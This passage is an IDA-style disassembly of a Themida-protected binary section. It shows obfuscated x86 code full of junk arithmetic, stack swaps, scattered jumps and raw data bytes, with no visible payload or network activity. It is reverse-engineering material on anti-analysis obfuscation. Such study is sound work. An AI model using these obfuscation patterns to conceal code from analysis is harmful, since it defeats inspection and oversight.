		dd 82BCE924h, 0C8B70000h, 805FCF80h, 0C780FAE7h, 0AE79E956h
		dd 875B0000h, 6DE92434h, 0B90000B4h, 64D1580Eh,	0FFD2C6E9h
		dd 8F685BFFh, 89000031h, 1DB22414h, 0C006E2C0h,	466806E2h
		dd 89000027h, 0EEB3241Ch, 0E92EE380h, 0FFFFEB76h, 5428A5BBh
		dd 0F7DBF738h, 81D3F7DBh, 951D65C3h, 27E7E968h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555BE6:				; CODE XREF: Themida_:00564AEFj
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		jmp	loc_56709F
; ---------------------------------------------------------------------------


loc_555BF7:				; CODE XREF: Themida_:00557FC2j
		xchg	ebp, [esp]
		jmp	loc_5551BA
; ---------------------------------------------------------------------------


loc_555BFF:				; CODE XREF: Themida_:0055703Cj
		mov	dh, 0F8h
		jmp	loc_55A809
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 35B37378h, 1069F581h, 5CE948E4h
		db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555C17:				; CODE XREF: Themida_:005590AEj
		pop	dword ptr [esp]
		jmp	loc_55A192
; ---------------------------------------------------------------------------
		db 0BEh
		dd 15D859C8h, 15EF789h,	335B5FFAh, 14312414h, 24143324h
		dd 6624248Bh, 2404B30Fh, 0D9ADE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555C42:				; CODE XREF: Themida_:0055511Aj
		sub	ebp, 4A146A0Ch
		pop	ecx
		dec	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5673D8
; ---------------------------------------------------------------------------
		db 89h
		dd 0FD21E9DDh, 0C581FFFFh, 0AA50AF1Ch, 835DEB01h, 1C8704EBh
		dd 4895C24h, 5585424h, 4, 4B951h, 0C8010000h, 74FF5059h
		dd 8F580424h, 505C2404h, 152AE9h, 0DDF58100h, 8139E456h
		dd 495391EDh, 484E0537h, 0E801417Ah, 7A484E2Dh,	242C8B41h
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0BDE9241Ch, 31000043h
		dd 57C131C8h, 5CD1B951h, 2FE9518Dh
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555CD3:				; CODE XREF: Themida_:00563412j
		mov	[esp], edi
		push	dword ptr [esp]
		jmp	loc_553370
; ---------------------------------------------------------------------------
		dw 0F681h
a7sS		db 'Þ7á|é',0
		db 0Bh,0
		dd 5C7D6800h, 0DCE90000h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555CF3:				; CODE XREF: Themida_:00553642j
		shl	ebp, 5
		jmp	loc_55D776
; ---------------------------------------------------------------------------


loc_555CFB:				; CODE XREF: Themida_:00567840j
		or	ebp, edx
		pop	edx
		shl	ebp, 6
		jmp	loc_5640BE
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 0DB55E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		pop	edi
		jmp	loc_55D23F
; ---------------------------------------------------------------------------


loc_555D2F:				; CODE XREF: Themida_:0055F6FBj
		add	ebx, 2503049Ah
		mov	ecx, [esp]
		jmp	loc_55D5B8
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 57h
		dd 29BFF697h, 3C335BDFh, 0E87EE924h, 81560000h,	4ECh, 48F5400h
		dd 24048124h, 4, 8324348Bh, 895204C4h, 4C281E2h, 83000000h
		dd 148704EAh, 22E95C24h, 540000E1h, 92BB535Dh, 4B4F4444h
		dd 5708E3C1h, 0F20763BFh, 68E78124h, 8119BB18h,	0EB4404E7h
		dd 503BE93Eh, 1590000h,	0E2EF81EFh, 0E96A936Fh,	0A74Fh
		dd 119BE95Ah, 0EA810000h, 2F2A4CE8h, 12070E9h, 2434FF00h
		dd 3B99E9h
		db 0
; ---------------------------------------------------------------------------


loc_555DC5:				; CODE XREF: Themida_:0055C0F4j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	2BDh
		jmp	loc_555E91
; ---------------------------------------------------------------------------
		db 83h
		dd 814204C4h, 94028AE2h, 96ADE97Fh, 0EF810000h,	32EC4FAEh
		dd 0CF81DFF7h, 20906856h, 0DB4EEF81h, 0FA0182EEh, 116C9E9h
		dd 0C4815A00h, 4, 0FDBAE953h, 248BFFFFh, 0C83B6624h, 0CE16E99Ch
		dd 48B9FFFFh, 0E94DF523h, 0FFFFD016h, 0E924248Bh, 7D5Eh
; ---------------------------------------------------------------------------


loc_555E34:				; CODE XREF: Themida_:0055C974j
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 514704A9h
		push	ecx
		jmp	loc_55516A
; ---------------------------------------------------------------------------


loc_555E50:				; CODE XREF: Themida_:00552C49j
		push	ecx
		mov	cl, 48h
		xor	cl, 3
		xor	bl, cl
		jmp	loc_56061E
; ---------------------------------------------------------------------------
		db 68h,	0D3h, 1Ch
		dd 8F540000h, 0E9552404h, 0AF03h, 0A8DBB850h, 0C1013F77h
		dd 0A92DE9h, 24048900h,	0DE974B0h, 83000060h, 48704C0h
		dd 24248B24h, 875EE9h
		db 0
; ---------------------------------------------------------------------------


loc_555E91:				; CODE XREF: Themida_:00555DDAj
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	dword ptr [esp+4], 545837F5h
		jmp	loc_55585E
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9542404h, 0A725h, 3F25F781h, 0F8296316h, 25C62D5Fh
		dd 0DC2D51DDh, 0E90C1D13h, 0D0E3h
; ---------------------------------------------------------------------------


loc_555EC8:				; CODE XREF: Themida_:005590CFj
		not	dword ptr [esp]
		jmp	loc_564C35
; ---------------------------------------------------------------------------
		dd 58E4C380h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ecx
		push	edx
		mov	dl, al
		jmp	loc_5641EC
; ---------------------------------------------------------------------------


loc_555EF5:				; CODE XREF: Themida_:00567B16j
		shr	ebx, 4
		jmp	loc_55B271
; ---------------------------------------------------------------------------
		db 51h,	68h, 0B2h
		dd 89000006h, 4812424h,	424h, 9A685900h, 89000001h, 7CBB241Ch
		dd 0E912D32Eh, 13Fh, 0EDC1D5F7h, 0CDC1E906h, 0C7BAFFFFh
		dd 81167562h, 790964C2h, 36C281FBh, 2D522F0Eh, 761A2461h
		dd 88E9D001h, 50000DCh,	2, 2F6C68h, 24048900h, 42474FFh
		dd 0E924048Bh, 0FFFFDC1Ch, 0E904EE83h, 0FDF5h, 706C8FB8h
		dd 3ED73566h, 352D40ADh, 29C4C0D8h, 0E1C158C1h,	0D4EBE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555F82:				; CODE XREF: Themida_:00561FBAj
		add	edx, 9F704D0Dh
		mov	ecx, edx
		pop	edx
		shl	ecx, 7
		shr	ecx, 5
		or	ecx, 32BF2197h
		or	ecx, 5AFC75F1h
		xor	ecx, 3A0641FAh
		xor	ecx, 74BF2907h
		jmp	loc_553C3A
; ---------------------------------------------------------------------------


loc_555FAE:				; CODE XREF: Themida_:00552FE2j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55617C
; ---------------------------------------------------------------------------
		db 0C0h, 0EEh, 4
		dd 5006EEC0h, 7AE926B4h, 5300008Bh, 42474FFh, 5B2434FFh
		dd 84F68h, 24348900h, 0E9555E54h, 0E0EAh
; ---------------------------------------------------------------------------


loc_555FE0:				; CODE XREF: Themida_:0055E6BDj
		mov	ecx, 0D831FF4h
		sub	edx, ecx
		pop	ecx
		shl	edx, 6
		sub	edx, 38D54D72h
		jmp	loc_55D1A6
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 8042E9h
		db 0
; ---------------------------------------------------------------------------


loc_555FFD:				; CODE XREF: Themida_:0055E017j
		xor	eax, esi
		pop	esi
		add	edx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55DDBC
; ---------------------------------------------------------------------------


loc_55601D:				; CODE XREF: Themida_:00562745j
		pop	ecx
		push	2C91h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 6C0C7CB0h
		shl	ebp, 5
		or	ebp, 74644058h
		jmp	loc_567D51
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E904C483h, 0B83h, 73E9E689h, 81FFFFF5h, 0FA1E4CF3h
		dd 7CCB8143h, 0E9332D26h, 6133h
; ---------------------------------------------------------------------------


loc_556070:				; CODE XREF: Themida_:005620F5j
		xor	ebx, edi
		pop	edi
		mov	edx, ebx
		jmp	loc_556680
; ---------------------------------------------------------------------------
		dw 0E1C0h
		dd 3E1C006h, 0B353D1F6h, 16C380A0h, 0FF380h, 0CB885BD9h
		dd 0F734E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556096:				; CODE XREF: Themida_:00564568j
		movzx	eax, al
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	199Bh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, 0F374399h
		add	ecx, ebp
		add	ecx, 0F374399h
		pop	ebp
		jmp	loc_560D69
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 0AFFDE904h, 58560000h, 0DA5FE95Eh, 0F8310000h
		dd 83243C8Bh, 0C33104C4h, 0BEE9C231h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556103:				; CODE XREF: Themida_:00568119j
		push	eax
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55E341
; ---------------------------------------------------------------------------


loc_556115:				; CODE XREF: Themida_:00567B73j
		pop	eax
		push	ebx
		jmp	loc_5561AC
; ---------------------------------------------------------------------------
		dd 2002EF81h, 0D8E92B31h, 0B900003Eh, 0E975490h, 0C6A8C181h
		dd 0CD893697h, 50E2E9h,	59CA8900h, 3B2DEB81h, 0D3292E8Eh
		dd 3B2DC381h, 5A5A2E8Eh, 0E9241C33h, 2247h, 0CE37E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55615A:				; CODE XREF: Themida_:0055B281j
		push	43F1h
		jmp	loc_558605
; ---------------------------------------------------------------------------
		dd 0D8E18141h, 0C11A4E15h, 0E98106E9h, 692051h,	0E959CA01h
		dd 1046Ch
; ---------------------------------------------------------------------------


loc_55617C:				; CODE XREF: Themida_:00555FB4j
		mov	[esp], ecx
		push	215Fh
		mov	[esp], esi
		push	ebp
		push	1D9Eh
		mov	[esp], edx
		mov	edx, 0C7532E6h
		push	edx
		add	dword ptr [esp], 15D5D2Ah
		jmp	loc_55497A
; ---------------------------------------------------------------------------
		dw 895Dh
		dd 0E94B5DEBh, 0F9A9h
; ---------------------------------------------------------------------------


loc_5561AC:				; CODE XREF: Themida_:00556117j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55392D
; ---------------------------------------------------------------------------
		dw 0D901h
aSoj		db '[éO¦',0
		align 2
		dw 0CE81h
		dd 27F944B0h, 0FFFFEE81h, 0E681FFFFh, 405D79E5h, 0A3EAE9h
		dd 48B6600h, 0F825E924h, 875C0000h, 41E9241Ch, 0B6FFFFFCh
		dd 64B9E969h, 0DFBE0000h, 31385F05h, 0E9585EF7h, 0FFFFF604h
		dd 0E904EC83h, 1015Bh, 9D1C77FFh, 24041158h, 0CA22E99Ch
		dd 0D143FFFFh, 4BDBF7EBh, 4276E9h, 240C8700h, 2BA525Ch
		dd 81000000h, 0F5311AC7h, 2DE7E905h, 0DA000000h, 0B1A2E9h
		dd 0F9015B00h, 2EA1685Fh, 0F6E90000h, 5A00004Bh, 34FFCB01h
		dd 0C4835924h, 0E9DA0104h, 62Ch, 1BC0C181h, 9CE92C18h
		dd 1000076h, 34EFE9D5h,	0F75F0000h, 58F281DAh, 1CE3E8Ch
		dd 0D0295AD0h, 504E4C2Dh, 2434FF59h, 0CEC7E95Ah, 0EE81FFFFh
		dd 6DCE5A6Bh, 0FFC5E9h,	8DE95900h, 66000084h, 5324048Bh
		dd 0D00EE9h, 0A4C58100h, 8151514Dh, 7A769FEBh, 50EB0162h
		dd 6E84BF57h, 0BAE97B51h, 5B000103h, 4FA4BE56h,	0D6F72FBAh
		dd 0E681DEF7h, 64405F0Ch, 7ED3B850h, 0C6014995h, 0A82DE9h
		dd 0C0685200h, 8B478472h, 0F4E92414h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5562EB:				; CODE XREF: Themida_:0055A479j
		add	edi, 59D20283h
		pop	ebp
		jmp	loc_563F10
; ---------------------------------------------------------------------------
		db 29h
		dd 8BC289D0h, 0C4812404h, 4, 5302EAC1h,	0BFE7E9h, 48B6600h
		dd 2C48124h, 0FE000000h, 4EEC0C6h, 2CF0C680h, 42704B7h
		dd 32B4E97Dh, 0E9500000h, 4DB2h, 2859C828h, 66BF04F8h
		dd 51241C8Bh, 1970E9h
		db 0
; ---------------------------------------------------------------------------


loc_556341:				; CODE XREF: Themida_:00556AE7j
		sub	al, ch
		jmp	loc_561F25
; ---------------------------------------------------------------------------
		dd 148BD009h, 4C48124h,	51000000h, 1945BE56h, 0F189767Bh
		dd 59C8315Eh, 48BC289h,	4C48324h, 148BD031h, 0E7895724h
		dd 4C781h, 0F7E90000h, 55FFFFE7h, 0ED1FE9h, 0E7895700h
		dd 4C781h, 0E9550000h, 0FFFFDC3Ah, 33240431h, 248B2404h
		dd 24040824h, 0F362E99Ch, 0DAF7FFFFh, 0C281D2F7h, 0BF9DBFFCh
		dd 685AD601h, 296Dh, 55241489h,	0BF7387BDh, 1A07E913h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5563C2:				; CODE XREF: Themida_:005619B3j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	small 1C2Ch
		mov	[esp], cx
		push	edx
		push	eax
		mov	al, 9Bh
		jmp	loc_554E51
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 2DB6824h, 35E90000h,	5E000007h, 0FD0C681h, 0E94E0B75h
		dd 7827h, 240C895Ch, 5779E9h
		db 0
; ---------------------------------------------------------------------------


loc_5563FD:				; CODE XREF: Themida_:0055BD7Ej
		xor	[edi+20h], esi
		push	ecx
		mov	ecx, 42362C86h
		dec	ecx
		jmp	loc_55DE03
; ---------------------------------------------------------------------------
		dd 5D2414F7h, 0F581D5F7h, 32C30982h, 0E95DE831h, 8036h
		dd 571EE95Eh, 0E8830000h, 24043304h, 33240431h,	248B2404h
		dd 24148924h, 51A7B050h, 0C9FEFDB1h, 3D95E9h, 0BCEE8100h
		dd 2957E315h, 0BCC681EEh, 0FF57E315h, 835D2434h, 343304C4h
		dd 3A24E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55586F
; ---------------------------------------------------------------------------


loc_556473:				; CODE XREF: Themida_:00563EBCj
		and	edx, ebx
		pop	ebx
		sub	edx, 0FFFFFFFFh
		sub	edx, 4480409h
		add	esi, 715A2F60h
		add	esi, edx
		sub	esi, 715A2F60h
		pop	edx
		push	ebx
		push	eax
		push	edx
		push	esi
		push	13333588h
		pop	esi
		jmp	loc_55EEE8
; ---------------------------------------------------------------------------
		dd 148BD301h, 4C48324h,	0FFD51AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5564AD:				; CODE XREF: Themida_:00563FCEj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55AEFF
; ---------------------------------------------------------------------------


loc_5564C3:				; CODE XREF: Themida_:0055F259j
		mov	dl, bh
		jmp	loc_560612
; ---------------------------------------------------------------------------
aZSs		db 'Z)ØéS}',0
		align 2


loc_5564D2:				; CODE XREF: Themida_:0055DBD3j
		mov	edi, 446664E4h
		inc	edi
		shr	edi, 4
		xor	edi, 446664Ah
		push	edi
		xor	dword ptr [esp], 0A6A7FD2h
		pop	ebp
		xor	ebp, 0A6A7FD2h
		pop	edi
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55C497
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0Eh
		dd 295726F2h, 0B1E95EF3h, 450000F1h, 4BCBF581h,	0ED816D04h
		dd 414545ABh, 679DA1BEh, 0E7B9E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55652E:				; CODE XREF: Themida_:005672A5j
		add	esp, 4
		and	ecx, esi
		pop	esi
		jmp	loc_56535F
; ---------------------------------------------------------------------------


loc_55653C:				; CODE XREF: Themida_:0055C49Cj
		mov	[esp], ecx
		jmp	loc_566F23
; ---------------------------------------------------------------------------
		dd 1ED81h, 0ED810000h, 0F6D266A1h, 5A5DE801h, 4BD55h, 50000h
		dd 1569E24h, 0EBE952E8h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556567:				; CODE XREF: Themida_:005652F4j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55C981
; ---------------------------------------------------------------------------


loc_556577:				; CODE XREF: Themida_:00564ADFj
		pop	edx
		sub	ebx, 72BE742Dh
		and	ebx, 73A20D3Bh
		push	esi
		mov	esi, 1800017h
		xor	ebx, esi
		pop	esi
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_562A49
; ---------------------------------------------------------------------------
		dd 0F05BF57h, 0DFF76175h, 8147D7F7h, 3DDCCBF7h,	8BFB016Ah
		dd 0C483243Ch, 0FFD82904h, 835B2434h, 0F02904C4h, 11BD68h
		dd 6F91E900h, 0BC680000h, 8900000Ah, 0B7B3241Ch, 0CBFECBFEh
		dd 0F607E3C0h, 0E9D3F6D3h, 0FFFFE5DCh
; ---------------------------------------------------------------------------


loc_5565E0:				; CODE XREF: Themida_:00564722j
		sub	ebx, 584D5A12h
		sub	ebx, 384C584Dh
		jmp	loc_553921
; ---------------------------------------------------------------------------
		db 0BBh, 0FCh, 13h
		dd 0BF5718E0h, 780E0DB1h, 5842E9h, 5D80100h, 14C42248h
		dd 8B2434FFh, 0C483241Ch, 4C48304h, 2FB95156h, 0BE35AA07h
		dd 70564925h, 0E959CE29h, 84Eh,	240C8B66h, 0E902C483h
		dd 0FFFFE602h, 24348156h, 51FA7FE9h, 7FE93558h,	348B51FAh
		dd 36E95124h, 2D000059h, 2D40589h, 3AE9C609h, 8B00006Ch
		dd 2C892424h, 1737E924h, 0D8B40000h, 5866E120h,	4B4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55666D:				; CODE XREF: Themida_:0055B4CDj
		mov	dh, ah
		pop	eax
		push	ebx
		mov	bh, 0
		jmp	loc_557914
; ---------------------------------------------------------------------------
		dd 0E9241489h, 3C6Fh
; ---------------------------------------------------------------------------


loc_556680:				; CODE XREF: Themida_:00556075j
		pop	ebx
		mov	edi, edx
		pop	edx
		shr	edi, 2
		push	eax
		mov	eax, 48692213h
		sub	edi, eax
		pop	eax
		and	edi, 248D3161h
		add	edi, 0EF2F06D9h
		sub	ebp, 50611D7h
		sub	ebp, 1E6B5A51h
		jmp	loc_553516
; ---------------------------------------------------------------------------


loc_5566AD:				; CODE XREF: Themida_:00562BE1j
		add	eax, 4
		add	eax, 4
		jmp	loc_55F132
; ---------------------------------------------------------------------------


loc_5566BA:				; CODE XREF: Themida_:0055C9B7j
		xor	[esp], ebx
		jmp	loc_56053D
; ---------------------------------------------------------------------------


loc_5566C2:				; CODE XREF: Themida_:0055A1F7j
		dec	esi
		push	1FDAh
		mov	[esp], ecx
		push	eax
		push	76581EB3h
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		xor	eax, 8887A55Eh
		push	eax
		sub	dword ptr [esp], 2D5430D7h
		jmp	loc_561E7F
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4BF57h, 0FA010000h, 993DE9h, 4C38100h, 33000000h
		dd 1C31241Ch, 241C3324h, 6824248Bh, 5D6Ch, 81240C89h, 4ECh
		dd 7955E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556726:				; CODE XREF: Themida_:00552F1Aj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	444Dh
		jmp	loc_5623C8
; ---------------------------------------------------------------------------
		db 52h
		dd 417209BAh, 0FF69E951h, 0CF810000h, 47D357C2h, 7169E781h
		dd 0F7814A77h, 6EF17585h, 3C8BF831h, 4C48324h, 0EC2DD0F7h
		dd 0E9E3C728h, 0FFFFC754h, 5124048Fh, 4B9h, 246C8100h
		dd 89451504h, 0CF83E977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55677E:				; CODE XREF: Themida_:00557104j
		shl	ebp, 6
		neg	ebp
		neg	ebp
		add	ebp, 0CE1A343Ah
		jmp	loc_5648A5
; ---------------------------------------------------------------------------
		dd 4EC835Eh, 54240489h,	40558h,	0BF570000h, 4, 0A527E9h
		db 0
; ---------------------------------------------------------------------------


loc_5567A9:				; CODE XREF: Themida_:005599F8j
		dec	eax
		push	7E4Ah
		mov	[esp], eax
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_5629A5
; ---------------------------------------------------------------------------


loc_5567BF:				; CODE XREF: Themida_:0056725Ej
		pop	esi
		add	esp, 4
		shr	ecx, 0Bh
		push	esi
		push	ebp
		jmp	loc_5643E0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 89000000h,	7AE9240Ch, 83FFFFCAh, 0D9F704C4h
		dd 0FFC1E9h, 0EDB85000h, 2939BA68h, 3E958C2h, 570000FEh
		dd 8AC5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5567FD:				; CODE XREF: Themida_:0056371Ej
		pop	esi
		jmp	loc_562985
; ---------------------------------------------------------------------------
		db 50h
		dd 3A8FFDB8h, 8BC68939h, 0C4832404h, 0E9F03104h, 104BFh
		dd 26BBF581h, 0F5813CA3h, 36B01E58h, 34FFE801h,	242C8B24h
		dd 0A724E9h
		db 0
; ---------------------------------------------------------------------------


loc_556831:				; CODE XREF: Themida_:00558D60j
		push	4
		pop	eax
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	5093h
		mov	[esp], ebp
		mov	ebp, 1
		push	ecx
		jmp	loc_5644FE
; ---------------------------------------------------------------------------


loc_556859:				; CODE XREF: Themida_:00564E27j
		xor	eax, 430A1BA3h
		add	eax, 472250Ah
		jmp	loc_56728C
; ---------------------------------------------------------------------------


loc_556868:				; CODE XREF: Themida_:00561932j
		xchg	edi, [esp]
		pop	esp


loc_55686C:				; CODE XREF: Themida_:0055CCB5j
		push	0BC7h
		mov	[esp], ecx
		push	eax
		push	ebx
		jmp	loc_55C332
; ---------------------------------------------------------------------------
		db 89h
		dd 0E93158C1h, 0E9CB215Dh, 10C03h, 4EA835Bh, 8B241487h
		dd 8F542424h, 0B8502404h, 4, 4244401h, 582434FFh, 275168h
		dd 0F3FBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5568AE:				; CODE XREF: Themida_:00561DC0j
		sub	ebp, esi
		jmp	loc_567991
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLH		db '‹$$h»-',0
		align 10h
		dd 50241C89h, 23A9E9h, 0C8B6600h, 5AB06824h, 3C890000h
		dd 45BD6824h, 24890000h, 4B85024h, 0E9000000h, 1A9Dh, 81243C8Bh
		dd 4C4h, 0BA525A00h, 75F757B3h,	8108EAC1h, 0C1AA48EAh
		dd 81FDE935h, 34890000h, 0B9E95024h, 830000E7h,	348B04C4h
		dd 4C48124h, 0E9000000h, 0FFFFC318h, 0CF0827B1h, 341FE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55692A:				; CODE XREF: Themida_:005666A6j
		sub	ebx, esi
		sub	ebx, 22327E3Bh
		pop	esi
		jmp	loc_5659C7
; ---------------------------------------------------------------------------


loc_556938:				; CODE XREF: Themida_:0056554Fj
		not	edx
		inc	edx
		jmp	loc_559C87
; ---------------------------------------------------------------------------
		dd 8E03F781h, 0FE8967C2h, 6FFCE95Fh, 0C6810000h, 70530523h
		dd 683DE681h, 0EDE931C7h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55695F:				; CODE XREF: Themida_:0055E67Ej
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5676FB
; ---------------------------------------------------------------------------
		dd 708668h, 6771E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556976:				; CODE XREF: Themida_:0056010Cj
		push	5CA9h
		mov	[esp], ebp
		jmp	loc_5592A5
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0F7538005h, 2DF0013Fh, 3FF75380h, 5E2434FFh,	4C481h
		dd 9CE90000h, 89000002h, 0BF572434h, 0A205D42h,	5F85BB53h
		dd 0C381798Dh, 19AF74D6h, 8105E3C1h, 3E5A21EBh,	6EBC137h
		dd 5103E3C1h, 0CA3F8AB9h, 0BAE98124h, 8143C867h, 0CD6206E9h
		dd 8DC98150h, 81482F00h, 0D98B67E9h, 59CB016Dh,	895BDF31h
		dd 243C8BFEh, 5504C483h, 0BE3915BDh, 5DEE2103h,	83C7E9h
		dd 24148B00h, 0EE6FE9h
		db 0
; ---------------------------------------------------------------------------


loc_556A05:				; CODE XREF: Themida_:005659B1j
		add	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_55C476
; ---------------------------------------------------------------------------


loc_556A1A:				; CODE XREF: Themida_:00553928j
		mov	esi, eax
		jmp	loc_559382
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 3104C483h, 0E8015AD0h, 0FFC1015Dh, 83582434h, 0C18104C4h
		dd 2, 31240C33h, 0C33240Ch, 24248B24h, 4AC5E9h,	191EB900h
		dd 3BE908AAh, 81000010h, 391E83EEh, 81C6010Eh, 391E83C6h
		dd 4EC830Eh, 0BF243C89h, 74BD64ACh, 3035C681h, 0EE812D1Bh
		dd 59460D38h, 178FEE81h, 0DFE91A3Eh
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556A87:				; CODE XREF: Themida_:005592B9j
		xor	ebp, 303AAE4Bh
		mov	eax, ebp
		pop	ebp
		sub	dword ptr [esp+4], 1B2267F7h
		add	dword ptr [esp+4], 7F673F3Fh
		add	[esp+4], eax
		jmp	loc_555020
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 0E9FC4861h, 815EF389h, 4ECh,	241C8900h, 46E95B59h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556AC3:				; CODE XREF: Themida_:0055791Aj
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 9Fh
		and	bh, ah
		pop	eax
		add	bh, 44h
		add	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	ch, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_556341
; ---------------------------------------------------------------------------


loc_556AEC:				; CODE XREF: Themida_:005541BBj
		xor	edx, [esp]
		mov	esp, [esp]
		mul	cl
		jmp	loc_5586D1
; ---------------------------------------------------------------------------


loc_556AF9:				; CODE XREF: Themida_:005623B1j
		add	esp, 4
		xor	edi, 1A0B12EDh
		and	eax, edi
		mov	edi, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_563723
; ---------------------------------------------------------------------------
		dd 89240489h, 405E0h, 0C0830000h, 24048704h, 56C3315Ch
		dd 0BEE9E689h, 0B3000020h, 5BD82817h, 1DADE9h
		db 0
; ---------------------------------------------------------------------------


loc_556B41:				; CODE XREF: Themida_:00564099j
		add	ebx, ebp
		sub	ebx, 597E3EB0h
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 384C584Dh
		add	ebx, ecx
		pop	ecx
		add	ebx, 584D5A12h
		mov	eax, [ebx]
		jmp	loc_55D878
; ---------------------------------------------------------------------------
		db 68h,	0Fh, 6Dh
		dd 4890000h, 2474FF24h,	24048B04h, 4C481h, 4FE90000h, 5D00007Bh
		dd 9F79E942h, 2C8B0000h, 4C48124h, 83000000h, 0B95104C4h
		dd 2, 0F9E9CB01h, 0BB00006Eh, 0BF01BB0h, 471EB951h, 0CB01530Ch
		dd 0FFBF5759h, 0E9FFFFFFh, 0FFFFC57Fh, 192DF001h, 573AE4Eh
		dd 4C4A6367h, 8324348Bh, 0E95504C4h, 9C1Ah
; ---------------------------------------------------------------------------


loc_556BD0:				; CODE XREF: Themida_:00559F66j
		xor	ecx, 0CFAC69DDh
		jmp	loc_55B7EB
; ---------------------------------------------------------------------------
		db 68h
